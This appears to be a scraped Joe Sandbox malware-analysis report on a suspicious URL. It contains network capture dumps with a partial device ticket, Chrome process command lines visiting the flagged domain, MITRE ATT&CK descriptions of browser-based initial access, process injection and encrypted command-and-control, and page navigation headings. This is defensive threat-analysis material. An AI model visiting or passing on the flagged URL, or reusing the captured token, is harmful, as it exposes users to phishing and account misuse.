2025-01-13 20:53:54 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2025-01-13 20:53:54 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 33 75 6a 51 66 78 39 46 78 6b 32 71 63 64 4b 75 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 34 35 35 31 37 30 35 30 30 39 63 64 64 34 65 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 65 66 6b 68 2b 66 32 54 59 54 4d 2f 44 63 65 61 58 50 74 45 4a 36 4c 6e 4f 4f 4f 61 39 50 49 43 70 6b 72 74 54 74 64 74 41 53 70 4d 4a 72 6a 50 61 47 2b 31 38 54 38 6b 59 7a 4c 57 52 6a 64 47 4c 41 62 55 59 78 51 35 5a 6f 4c 69 43 44 65 45 51 67 63 71 36 71 4b 62 32 68 4b 70 57 73 52 31 2f 4b 57 6d 61 38 38 6d 6e 5a 45 47 70 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: 3ujQfx9Fxk2qcdKu.2Context: 14551705009cdd4e<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAefkh+f2TYTM/DceaXPtEJ6LnOOOa9PICpkrtTtdtASpMJrjPaG+18T8kYzLWRjdGLAbUYxQ5ZoLiCDeEQgcq6qKb2hKpWsR1/KWma88mnZEGp
2025-01-13 20:53:54 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 33 75 6a 51 66 78 39 46 78 6b 32 71 63 64 4b 75 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 34 35 35 31 37 30 35 30 30 39 63 64 64 34 65 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: 3ujQfx9Fxk2qcdKu.3Context: 14551705009cdd4e<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2025-01-13 20:53:55 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2025-01-13 20:53:55 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 4e 67 42 77 49 4f 78 79 41 6b 4f 49 4d 59 52 32 59 38 37 36 50 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: NgBwIOxyAkOIMYR2Y876Pg.0Payload parsing failed.

Target ID:	1
Start time:	15:52:37
Start date:	13/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	15:52:39
Start date:	13/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2576 --field-trial-handle=2496,i,10734926568364390931,855498172999670829,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	15:52:45
Start date:	13/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/JLSQqjDK"
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is typically targeted for exploitation, but adversaries may also use compromised websites for non-exploitation behavior such as acquiring Application Access Token .
Tactics:	Initial Access
Data Sources:	Application Log: Application Log Content, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Process: Process Creation
Platforms:	Linux, macOS, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/JLSQqjDK

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

Phishing

Compliance

Networking

System Summary

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Chrome Cache Entry: 107

Chrome Cache Entry: 108

Chrome Cache Entry: 109

Chrome Cache Entry: 110

Chrome Cache Entry: 111

Chrome Cache Entry: 112

Chrome Cache Entry: 113

Chrome Cache Entry: 114

Chrome Cache Entry: 115

Chrome Cache Entry: 73

Chrome Cache Entry: 74

Chrome Cache Entry: 75

Chrome Cache Entry: 76

Chrome Cache Entry: 77

Chrome Cache Entry: 78

Chrome Cache Entry: 79

Chrome Cache Entry: 80

Chrome Cache Entry: 81

Chrome Cache Entry: 82

Chrome Cache Entry: 83

Windows Analysis Report
https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/JLSQqjDK